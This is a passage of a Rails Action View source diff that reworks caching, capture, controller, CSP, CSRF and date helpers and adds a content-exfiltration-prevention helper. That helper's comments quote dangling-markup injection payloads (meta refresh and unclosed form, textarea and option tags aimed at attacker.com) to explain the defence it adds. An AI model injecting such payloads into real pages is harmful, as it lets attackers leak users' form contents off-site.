       # you can name all these dependencies as part of an array:
@@ -69,11 +76,11 @@ module CacheHelper
       #   render 'comments/comments'
       #   render('comments/comments')
       #
-      #   render "header" translates to render("comments/header")
+      #   render "header"        # translates to render("comments/header")
       #
-      #   render(@topic)         translates to render("topics/topic")
-      #   render(topics)         translates to render("topics/topic")
-      #   render(message.topics) translates to render("topics/topic")
+      #   render(@topic)         # translates to render("topics/topic")
+      #   render(topics)         # translates to render("topics/topic")
+      #   render(message.topics) # translates to render("topics/topic")
       #
       # It's not possible to derive all render calls like that, though.
       # Here are a few examples of things that can't be derived:
@@ -86,6 +93,14 @@ module CacheHelper
       #   render partial: 'attachments/attachment', collection: group_of_attachments
       #   render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
       #
+      # One last type of dependency can be determined implicitly:
+      #
+      #   render "maintenance_tasks/runs/info/#{run.status}"
+      #
+      # Because the value passed to render ends in interpolation, Action View
+      # will mark all partials within the "maintenance_tasks/runs/info" folder as
+      # dependencies.
+      #
       # === Explicit dependencies
       #
       # Sometimes you'll have template dependencies that can't be derived at all. This is typically
@@ -106,9 +121,9 @@ module CacheHelper
       #   <%= render_categorizable_events @person.events %>
       #
       # This marks every template in the directory as a dependency. To find those
-      # templates, the wildcard path must be absolutely defined from app/views or paths
+      # templates, the wildcard path must be absolutely defined from <tt>app/views</tt> or paths
       # otherwise added with +prepend_view_path+ or +append_view_path+.
-      # This way the wildcard for `app/views/recordings/events` would be `recordings/events/*` etc.
+      # This way the wildcard for <tt>app/views/recordings/events</tt> would be <tt>recordings/events/*</tt> etc.
       #
       # The pattern used to match explicit dependencies is <tt>/# Template Dependency: (\S+)/</tt>,
       # so it's important that you type it out just so.
@@ -128,14 +143,14 @@ module CacheHelper
       #
       # === Collection Caching
       #
-      # When rendering a collection of objects that each use the same partial, a `cached`
+      # When rendering a collection of objects that each use the same partial, a <tt>:cached</tt>
       # option can be passed.
       #
       # For collections rendered such:
       #
       #   <%= render partial: 'projects/project', collection: @projects, cached: true %>
       #
-      # The `cached: true` will make Action View's rendering read several templates
+      # The <tt>cached: true</tt> will make Action View's rendering read several templates
       # from cache at once instead of one call per template.
       #
       # Templates in the collection not already cached are written to cache.
@@ -160,8 +175,10 @@ module CacheHelper
       # expire the cache.
       def cache(name = {}, options = {}, &block)
         if controller.respond_to?(:perform_caching) && controller.perform_caching
-          name_options = options.slice(:skip_digest, :virtual_path)
-          safe_concat(fragment_for(cache_fragment_name(name, name_options), options, &block))
+          CachingRegistry.track_caching do
+            name_options = options.slice(:skip_digest)
+            safe_concat(fragment_for(cache_fragment_name(name, **name_options), options, &block))
+          end
         else
           yield
         end
@@ -169,6 +186,34 @@ def cache(name = {}, options = {}, &block)
         nil
       end
 
+      # Returns whether the current view fragment is within a +cache+ block.
+      #
+      # Useful when certain fragments aren't cacheable:
+      #
+      #   <% cache project do %>
+      #     <% raise StandardError, "Caching private data!" if caching? %>
+      #   <% end %>
+      def caching?
+        CachingRegistry.caching?
+      end
+
+      # Raises UncacheableFragmentError when called from within a +cache+ block.
+      #
+      # Useful to denote helper methods that can't participate in fragment caching:
+      #
+      #   def project_name_with_time(project)
+      #     uncacheable!
+      #     "#{project.name} - #{Time.now}"
+      #   end
+      #
+      #   # Which will then raise if used within a `cache` block:
+      #   <% cache project do %>
+      #     <%= project_name_with_time(project) %>
+      #   <% end %>
+      def uncacheable!
+        raise UncacheableFragmentError, "can't be fragment cached" if caching?
+      end
+
       # Cache fragments of a view if +condition+ is true
       #
       #   <% cache_if admin?, project do %>
@@ -196,31 +241,35 @@ def cache_unless(condition, name = {}, options = {}, &block)
       end
 
       # This helper returns the name of a cache key for a given fragment cache
-      # call. By supplying +skip_digest:+ true to cache, the digestion of cache
+      # call. By supplying <tt>skip_digest: true</tt> to cache, the digestion of cache
       # fragments can be manually bypassed. This is useful when cache fragments
       # cannot be manually expired unless you know the exact key which is the
       # case when using memcached.
-      #
-      # The digest will be generated using +virtual_path:+ if it is provided.
-      #
-      def cache_fragment_name(name = {}, skip_digest: nil, virtual_path: nil)
+      def cache_fragment_name(name = {}, skip_digest: nil, digest_path: nil)
         if skip_digest
           name
         else
-          fragment_name_with_digest(name, virtual_path)
+          fragment_name_with_digest(name, digest_path)
         end
       end
 
-      attr_reader :cache_hit # :nodoc:
+      def digest_path_from_template(template) # :nodoc:
+        digest = Digestor.digest(name: template.virtual_path, format: template.format, finder: lookup_context, dependencies: view_cache_dependencies)
+
+        if digest.present?
+          "#{template.virtual_path}:#{digest}"
+        else
+          template.virtual_path
+        end
+      end
 
     private
+      def fragment_name_with_digest(name, digest_path)
+        name = controller.url_for(name).split("://").last if name.is_a?(Hash)
 
-      def fragment_name_with_digest(name, virtual_path)
-        virtual_path ||= @virtual_path
-        if virtual_path
-          name = controller.url_for(name).split("://").last if name.is_a?(Hash)
-          digest = Digestor.digest name: virtual_path, finder: lookup_context, dependencies: view_cache_dependencies
-          [ name, digest ]
+        if @current_template&.virtual_path || digest_path
+          digest_path ||= digest_path_from_template(@current_template)
+          [ digest_path, name ]
         else
           name
         end
@@ -228,10 +277,10 @@ def fragment_name_with_digest(name, virtual_path)
 
       def fragment_for(name = {}, options = nil, &block)
         if content = read_fragment_for(name, options)
-          @cache_hit = true
+          @view_renderer.cache_hits[@current_template&.virtual_path] = :hit if defined?(@view_renderer)
           content
         else
-          @cache_hit = false
+          @view_renderer.cache_hits[@current_template&.virtual_path] = :miss if defined?(@view_renderer)
           write_fragment_for(name, options, &block)
         end
       end
@@ -240,16 +289,27 @@ def read_fragment_for(name, options)
         controller.read_fragment(name, options)
       end
 
-      def write_fragment_for(name, options)
-        pos = output_buffer.length
-        yield
-        output_safe = output_buffer.html_safe?
-        fragment = output_buffer.slice!(pos..-1)
-        if output_safe
-          self.output_buffer = output_buffer.class.new(output_buffer)
-        end
+      def write_fragment_for(name, options, &block)
+        fragment = output_buffer.capture(&block)
         controller.write_fragment(name, fragment, options)
       end
+
+      module CachingRegistry # :nodoc:
+        extend self
+
+        def caching?
+          ActiveSupport::IsolatedExecutionState[:action_view_caching] ||= false
+        end
+
+        def track_caching
+          caching_was = ActiveSupport::IsolatedExecutionState[:action_view_caching]
+          ActiveSupport::IsolatedExecutionState[:action_view_caching] = true
+
+          yield
+        ensure
+          ActiveSupport::IsolatedExecutionState[:action_view_caching] = caching_was
+        end
+      end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/capture_helper.rb b/actionview/lib/action_view/helpers/capture_helper.rb
index 719592b5c5dcc..4fc14894ba1d3 100644
--- a/actionview/lib/action_view/helpers/capture_helper.rb
+++ b/actionview/lib/action_view/helpers/capture_helper.rb
@@ -1,18 +1,24 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/output_safety"
 
 module ActionView
-  # = Action View Capture Helper
-  module Helpers
-    # CaptureHelper exposes methods to let you extract generated markup which
+  module Helpers # :nodoc:
+    # = Action View Capture \Helpers
+    #
+    # \CaptureHelper exposes methods to let you extract generated markup which
     # can be used in other parts of a template or layout file.
     #
-    # It provides a method to capture blocks into variables through capture and
-    # a way to capture a block of markup for use in a layout through content_for.
+    # It provides a method to capture blocks into variables through #capture and
+    # a way to capture a block of markup for use in a layout through #content_for.
+    #
+    # As well as provides a method when using streaming responses through #provide.
+    # See ActionController::Streaming for more information.
     module CaptureHelper
-      # The capture method extracts part of a template as a String object.
+      # The capture method extracts part of a template as a string object.
       # You can then use this object anywhere in your templates, layout, or helpers.
       #
-      # The capture method can be used in ERB templates...
+      # The capture method can be used in \ERB templates...
       #
       #   <% @greeting = capture do %>
       #     Welcome to my shiny new web page!  The date and time is
@@ -34,15 +40,32 @@ module CaptureHelper
       #   </body>
       #   </html>
       #
-      def capture(*args)
+      # The return of capture is the string generated by the block. For Example:
+      #
+      #   @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
+      #
+      def capture(*, **, &block)
         value = nil
-        buffer = with_output_buffer { value = yield(*args) }
-        if (string = buffer.presence || value) && string.is_a?(String)
-          ERB::Util.html_escape string
+        @output_buffer ||= ActionView::OutputBuffer.new
+        buffer = @output_buffer.capture { value = yield(*, **) }
+
+        string = if @output_buffer.equal?(value)
+          buffer
+        else
+          buffer.presence || value
+        end
+
+        case string
+        when OutputBuffer
+          string.to_s
+        when ActiveSupport::SafeBuffer
+          string
+        when String
+          ERB::Util.html_escape(string)
         end
       end
 
-      # Calling content_for stores a block of markup in an identifier for later use.
+      # Calling <tt>content_for</tt> stores a block of markup in an identifier for later use.
       # In order to access this stored content in other templates, helper modules
       # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
       #
@@ -108,14 +131,14 @@ def capture(*args)
       # That will place +script+ tags for your default set of JavaScript files on the page;
       # this technique is useful if you'll only be using these scripts in a few views.
       #
-      # Note that content_for concatenates (default) the blocks it is given for a particular
+      # Note that <tt>content_for</tt> concatenates (default) the blocks it is given for a particular
       # identifier in order. For example:
       #
       #   <% content_for :navigation do %>
       #     <li><%= link_to 'Home', action: 'index' %></li>
       #   <% end %>
       #
-      #  And in another place:
+      # And in another place:
       #
       #   <% content_for :navigation do %>
       #     <li><%= link_to 'Login', action: 'login' %></li>
@@ -125,13 +148,13 @@ def capture(*args)
       #
       #   <ul><%= content_for :navigation %></ul>
       #
-      # If the flush parameter is true content_for replaces the blocks it is given. For example:
+      # If the flush parameter is +true+ <tt>content_for</tt> replaces the blocks it is given. For example:
       #
       #   <% content_for :navigation do %>
       #     <li><%= link_to 'Home', action: 'index' %></li>
       #   <% end %>
       #
-      #   <%#  Add some other content, or use a different template: %>
+      #   <%# Add some other content, or use a different template: %>
       #
       #   <% content_for :navigation, flush: true do %>
       #     <li><%= link_to 'Login', action: 'login' %></li>
@@ -145,7 +168,7 @@ def capture(*args)
       #
       #   <% content_for :script, javascript_include_tag(:defaults) %>
       #
-      # WARNING: content_for is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
+      # WARNING: <tt>content_for</tt> is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
       def content_for(name, content = nil, options = {}, &block)
         if content || block_given?
           if block_given?
@@ -166,13 +189,16 @@ def content_for(name, content = nil, options = {}, &block)
       # concatenate several times to the same buffer when rendering a given
       # template, you should use +content_for+, if not, use +provide+ to tell
       # the layout to stop looking for more contents.
+      #
+      # See ActionController::Streaming for more information.
       def provide(name, content = nil, &block)
         content = capture(&block) if block_given?
         result = @view_flow.append!(name, content) if content
         result unless content
       end
 
-      # content_for? checks whether any content has been captured yet using `content_for`.
+      # <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
+      #
       # Useful to render parts of your layout differently based on what is in your views.
       #
       #   <%# This is the layout %>
@@ -192,7 +218,7 @@ def content_for?(name)
 
       # Use an alternate output buffer for the duration of the block.
       # Defaults to a new empty string.
-      def with_output_buffer(buf = nil) #:nodoc:
+      def with_output_buffer(buf = nil) # :nodoc:
         unless buf
           buf = ActionView::OutputBuffer.new
           if output_buffer && output_buffer.respond_to?(:encoding)
diff --git a/actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb b/actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb
new file mode 100644
index 0000000000000..7f70bc378a63e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module ContentExfiltrationPreventionHelper
+      mattr_accessor :prepend_content_exfiltration_prevention, default: false
+
+      # Close any open attributes before each form tag. This prevents attackers from
+      # injecting partial tags that could leak markup offsite.
+      #
+      # For example, an attacker might inject:
+      #
+      #   <meta http-equiv="refresh" content='0;URL=https://attacker.com?
+      #
+      # The HTML following this tag, up until the next single quote would be sent to
+      # +https://attacker.com+. By closing any open attributes, we ensure that form
+      # contents are never exfiltrated this way.
+      CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
+
+      # Close any open tags that support CDATA (textarea, xmp) before each form tag.
+      # This prevents attackers from injecting unclosed tags that could capture
+      # form contents.
+      #
+      # For example, an attacker might inject:
+      #
+      #   <form action="https://attacker.com"><textarea>
+      #
+      # The HTML following this tag, up until the next <tt></textarea></tt> or
+      # the end of the document would be captured by the attacker's
+      # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
+      # form contents are never exfiltrated.
+      CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
+
+      # Close any open option tags before each form tag. This prevents attackers
+      # from injecting unclosed options that could leak markup offsite.
+      #
+      # For example, an attacker might inject:
+      #
+      #   <form action="https://attacker.com"><option>
+      #
+      # The HTML following this tag, up until the next <tt></option></tt> or the
+      # end of the document would be captured by the attacker's
+      # <tt><option></tt>. By closing any open option tags, we ensure that form
+      # contents are never exfiltrated.
+      CLOSE_OPTION_TAG = "</option>".html_safe.freeze
+
+      # Close any open form tags before each new form tag. This prevents attackers
+      # from injecting unclosed forms that could leak markup offsite.
+      #
+      # For example, an attacker might inject:
+      #
+      #   <form action="https://attacker.com">
+      #
+      # The form elements following this tag, up until the next <tt></form></tt>
+      # would be captured by the attacker's <tt><form></tt>. By closing any open
+      # form tags, we ensure that form contents are never exfiltrated.
+      CLOSE_FORM_TAG = "</form>".html_safe.freeze
+
+      CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
+
+      def prevent_content_exfiltration(html)
+        if prepend_content_exfiltration_prevention
+          CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
+        else
+          html
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/controller_helper.rb b/actionview/lib/action_view/helpers/controller_helper.rb
index e86cdca4e4333..d6e45076df91a 100644
--- a/actionview/lib/action_view/helpers/controller_helper.rb
+++ b/actionview/lib/action_view/helpers/controller_helper.rb
@@ -1,26 +1,46 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attr_internal"
 
 module ActionView
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Controller \Helpers
+    #
     # This module keeps all methods and behavior in ActionView
     # that simply delegates to the controller.
-    module ControllerHelper #:nodoc:
+    module ControllerHelper # :nodoc:
       attr_internal :controller, :request
 
-      delegate :request_forgery_protection_token, :params, :session, :cookies, :response, :headers,
-               :flash, :action_name, :controller_name, :controller_path, to: :controller
+      CONTROLLER_DELEGATES = [:request_forgery_protection_token, :params,
+        :session, :cookies, :response, :headers, :flash, :action_name,
+        :controller_name, :controller_path]
+
+      delegate(*CONTROLLER_DELEGATES, to: :controller)
 
       def assign_controller(controller)
         if @_controller = controller
           @_request = controller.request if controller.respond_to?(:request)
-          @_config  = controller.config.inheritable_copy if controller.respond_to?(:config)
+          if controller.respond_to?(:config)
+            @_config = controller.config.inheritable_copy
+          else
+            @_config = ActiveSupport::InheritableOptions.new
+          end
           @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
+        else
+          @_request ||= nil
+          @_config = ActiveSupport::InheritableOptions.new
+          @_default_form_builder ||= nil
         end
       end
 
       def logger
         controller.logger if controller.respond_to?(:logger)
       end
+
+      def respond_to?(method_name, include_private = false)
+        return controller.respond_to?(method_name) if CONTROLLER_DELEGATES.include?(method_name.to_sym)
+        super
+      end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/csp_helper.rb b/actionview/lib/action_view/helpers/csp_helper.rb
new file mode 100644
index 0000000000000..1434ca628874f
--- /dev/null
+++ b/actionview/lib/action_view/helpers/csp_helper.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers # :nodoc:
+    # = Action View CSP \Helpers
+    module CspHelper
+      # Returns a meta tag "csp-nonce" with the per-session nonce value
+      # for allowing inline <script> tags.
+      #
+      #   <head>
+      #     <%= csp_meta_tag %>
+      #   </head>
+      #
+      # This is used by the \Rails UJS helper to create dynamically
+      # loaded inline <script> elements.
+      #
+      def csp_meta_tag(**options)
+        if content_security_policy?
+          options[:name] = "csp-nonce"
+          options[:content] = content_security_policy_nonce
+          tag("meta", options)
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/csrf_helper.rb b/actionview/lib/action_view/helpers/csrf_helper.rb
index 2a15d2aa5a8aa..19626468d77bb 100644
--- a/actionview/lib/action_view/helpers/csrf_helper.rb
+++ b/actionview/lib/action_view/helpers/csrf_helper.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 module ActionView
-  # = Action View CSRF Helper
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View CSRF \Helpers
     module CsrfHelper
       # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
       # request forgery protection parameter and token, respectively.
@@ -14,11 +16,11 @@ module CsrfHelper
       #
       # You don't need to use these tags for regular forms as they generate their own hidden fields.
       #
-      # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
-      # "X-CSRF-Token" HTTP header. If you are using jQuery with jquery-rails this happens automatically.
+      # For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
+      # +X-CSRF-Token+ HTTP header.
       #
       def csrf_meta_tags
-        if protect_against_forgery?
+        if defined?(protect_against_forgery?) && protect_against_forgery?
           [
             tag("meta", name: "csrf-param", content: request_forgery_protection_token),
             tag("meta", name: "csrf-token", content: form_authenticity_token)
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
index 09dc6ef6bd19f..d9a363c3d5744 100644
--- a/actionview/lib/action_view/helpers/date_helper.rb
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "date"
 require "action_view/helpers/tag_helper"
 require "active_support/core_ext/array/extract_options"
@@ -7,8 +9,8 @@
 require "active_support/core_ext/object/with_options"
 
 module ActionView
-  module Helpers
-    # = Action View Date Helpers
+  module Helpers # :nodoc:
+    # = Action View \Date \Helpers
     #
     # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
     # elements. All of the select-type methods share a number of common options that are as follows:
@@ -24,7 +26,7 @@ module DateHelper
       MINUTES_IN_QUARTER_YEAR = 131400
       MINUTES_IN_THREE_QUARTERS_YEAR = 394200
 
-      # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
+      # Reports the approximate distance in time between two Time, Date, or DateTime objects or integers as seconds.
       # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
       # Distances are reported based on the following table:
       #
@@ -70,7 +72,7 @@ module DateHelper
       #   distance_of_time_in_words(to_time, from_time, include_seconds: true)                        # => about 6 years
       #   distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
       #
-      # With the <tt>scope</tt> option, you can define a custom scope for Rails
+      # With the <tt>scope</tt> option, you can define a custom scope for \Rails
       # to look up the translation.
       #
       # For example you can define the following in your locale (e.g. en.yml).
@@ -95,8 +97,8 @@ def distance_of_time_in_words(from_time, to_time = 0, options = {})
           scope: :'datetime.distance_in_words'
         }.merge!(options)
 
-        from_time = from_time.to_time if from_time.respond_to?(:to_time)
-        to_time = to_time.to_time if to_time.respond_to?(:to_time)
+        from_time = normalize_distance_of_time_argument_to_time(from_time)
+        to_time = normalize_distance_of_time_argument_to_time(to_time)
         from_time, to_time = to_time, from_time if from_time > to_time
         distance_in_minutes = ((to_time - from_time) / 60.0).round
         distance_in_seconds = (to_time - from_time).round
@@ -114,7 +116,7 @@ def distance_of_time_in_words(from_time, to_time = 0, options = {})
             when 10..19 then locale.t :less_than_x_seconds, count: 20
             when 20..39 then locale.t :half_a_minute
             when 40..59 then locale.t :less_than_x_minutes, count: 1
-              else             locale.t :x_minutes,           count: 1
+            else             locale.t :x_minutes,           count: 1
             end
 
           when 2...45           then locale.t :x_minutes,      count: distance_in_minutes
@@ -129,23 +131,26 @@ def distance_of_time_in_words(from_time, to_time = 0, options = {})
           when 43200...86400    then locale.t :about_x_months, count: (distance_in_minutes.to_f / 43200.0).round
             # 60 days up to 365 days
           when 86400...525600   then locale.t :x_months,       count: (distance_in_minutes.to_f / 43200.0).round
+          else
+            from_year = from_time.year
+            from_year += 1 if from_time.month >= 3
+            to_year = to_time.year
+            to_year -= 1 if to_time.month < 3
+
+            leap_years = if from_year > to_year
+              0
             else
-            if from_time.acts_like?(:time) && to_time.acts_like?(:time)
-              fyear = from_time.year
-              fyear += 1 if from_time.month >= 3
-              tyear = to_time.year
-              tyear -= 1 if to_time.month < 3
-              leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count { |x| Date.leap?(x) }
-              minute_offset_for_leap_year = leap_years * 1440
-              # Discount the leap year days when calculating year distance.
-              # e.g. if there are 20 leap year days between 2 dates having the same day
-              # and month then the based on 365 days calculation
-              # the distance in years will come out to over 80 years when in written
-              # English it would read better as about 80 years.
-              minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
-            else
-              minutes_with_offset = distance_in_minutes
+              fyear = from_year - 1
+              (to_year / 4 - to_year / 100 + to_year / 400) - (fyear / 4 - fyear / 100 + fyear / 400)
             end
+            minute_offset_for_leap_year = leap_years * 1440
+
+            # Discount the leap year days when calculating year distance.
+            # e.g. if there are 20 leap year days between 2 dates having the same day
+            # and month then based on 365 days calculation
+            # the distance in years will come out to over 80 years when in written
+            # English it would read better as about 80 years.
+            minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
             remainder                   = (minutes_with_offset % MINUTES_IN_YEAR)
             distance_in_years           = (minutes_with_offset.div MINUTES_IN_YEAR)
             if remainder < MINUTES_IN_QUARTER_YEAR
@@ -181,6 +186,23 @@ def time_ago_in_words(from_time, options = {})
 
       alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
 
+      # Like <tt>time_ago_in_words</tt>, but adds a prefix/suffix depending on whether the time is in the past or future.
+      # You can use the <tt>scope</tt> option to customize the translation scope. All other options
+      # are forwarded to <tt>time_ago_in_words</tt>.
+      #
+      #   relative_time_in_words(3.minutes.from_now) # => "in 3 minutes"
+      #   relative_time_in_words(3.minutes.ago) # => "3 minutes ago"
+      #   relative_time_in_words(10.seconds.ago, include_seconds: true) # => "less than 10 seconds ago"
+      #
+      # See also #time_ago_in_words
+      def relative_time_in_words(from_time, options = {})
+        now = Time.now
+        time = distance_of_time_in_words(from_time, now, options.except(:scope))
+        key = from_time > now ? :future : :past
+
+        I18n.t(key, time: time, scope: options.fetch(:scope, :'datetime.relative'), locale: options[:locale])
+      end
+
       # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
       # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
       #
@@ -199,14 +221,16 @@ def time_ago_in_words(from_time, options = {})
       #   and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
       #   See <tt>Kernel.sprintf</tt> for documentation on format sequences.
       # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
-      # * <tt>:time_separator</tt>    - Specifies a string to separate the time fields. Default is "" (i.e. nothing).
-      # * <tt>:datetime_separator</tt>- Specifies a string to separate the date and time fields. Default is "" (i.e. nothing).
+      # * <tt>:time_separator</tt>    - Specifies a string to separate the time fields. Default is " : ".
+      # * <tt>:datetime_separator</tt>- Specifies a string to separate the date and time fields. Default is " &mdash; ".
       # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt> if
       #   you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
       #   the current selected year minus 5.
       # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
       #   you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
       #   the current selected year plus 5.
+      # * <tt>:year_format</tt>       - Set format of years for year select. Lambda should be passed.
+      # * <tt>:day_format</tt>        - Set format of days for day select. Lambda should be passed.
       # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
       #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
       #   first of the given month in order to not create invalid dates like 31 February.
@@ -217,7 +241,7 @@ def time_ago_in_words(from_time, options = {})
       # * <tt>:order</tt>             - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
       #   customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
       #   select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
-      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with \Rails).
       # * <tt>:include_blank</tt>     - Include a blank option in every select field so it's possible to set empty
       #   dates.
       # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is +nil+.
@@ -277,6 +301,12 @@ def time_ago_in_words(from_time, options = {})
       #   # Generates a date select with custom prompts.
       #   date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
       #
+      #   # Generates a date select with custom year format.
+      #   date_select("article", "written_on", year_format: ->(year) { "Heisei #{year - 1988}" })
+      #
+      #   # Generates a date select with custom day format.
+      #   date_select("article", "written_on", day_format: ->(day) { day.ordinalize })
+      #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
       #
       # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
@@ -285,12 +315,12 @@ def date_select(object_name, method, options = {}, html_options = {})
         Tags::DateSelect.new(object_name, method, self, options, html_options).render
       end
 
-      # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
+      # Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a
       # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
       # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
       # with <tt>:ampm</tt> option.
       #
-      # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
+      # This method will also generate 3 input hidden tags, for the actual year, month, and day unless the option
       # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
       # +date_select+ on the same method within the form otherwise an exception will be raised.
       #
@@ -304,15 +334,19 @@ def date_select(object_name, method, options = {}, html_options = {})
       #   time_select("article", "start_time", include_seconds: true)
       #
       #   # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30, and 45.
-      #   time_select 'game', 'game_time', {minute_step: 15}
+      #   time_select 'game', 'game_time', { minute_step: 15 }
       #
       #   # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
-      #   time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+      #   time_select("article", "written_on", prompt: { hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds' })
+      #   time_select("article", "written_on", prompt: { hour: true }) # generic prompt for hours
       #   time_select("article", "written_on", prompt: true) # generic prompts for all
       #
       #   # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
-      #   time_select 'game', 'game_time', {ampm: true}
+      #   time_select 'game', 'game_time', { ampm: true }
+      #
+      #   # You can set :ignore_date option to true which will remove the hidden inputs for day,
+      #   # month, and year that are set by default on this helper when you only want the time inputs
+      #   time_select 'game', 'game_time', { ignore_date: true }
       #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
       #
@@ -348,8 +382,8 @@ def time_select(object_name, method, options = {}, html_options = {})
       #   datetime_select("article", "written_on", discard_type: true)
       #
       #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+      #   datetime_select("article", "written_on", prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+      #   datetime_select("article", "written_on", prompt: { hour: true }) # generic prompt for hours
       #   datetime_select("article", "written_on", prompt: true) # generic prompts for all
       #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
@@ -399,8 +433,8 @@ def datetime_select(object_name, method, options = {}, html_options = {})
       #   select_datetime(my_date_time, prefix: 'payday')
       #
       #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
+      #   select_datetime(my_date_time, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+      #   select_datetime(my_date_time, prompt: { hour: true }) # generic prompt for hours
       #   select_datetime(my_date_time, prompt: true) # generic prompts for all
       def select_datetime(datetime = Time.current, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_datetime
@@ -438,8 +472,8 @@ def select_datetime(datetime = Time.current, options = {}, html_options = {})
       #   select_date(my_date, prefix: 'payday')
       #
       #   # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   select_date(my_date, prompt: {hour: true}) # generic prompt for hours
+      #   select_date(my_date, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+      #   select_date(my_date, prompt: { hour: true }) # generic prompt for hours
       #   select_date(my_date, prompt: true) # generic prompts for all
       def select_date(date = Date.current, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_date
@@ -478,8 +512,8 @@ def select_date(date = Date.current, options = {}, html_options = {})
       #   select_time(my_time, start_hour: 2, end_hour: 14)
       #
       #   # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
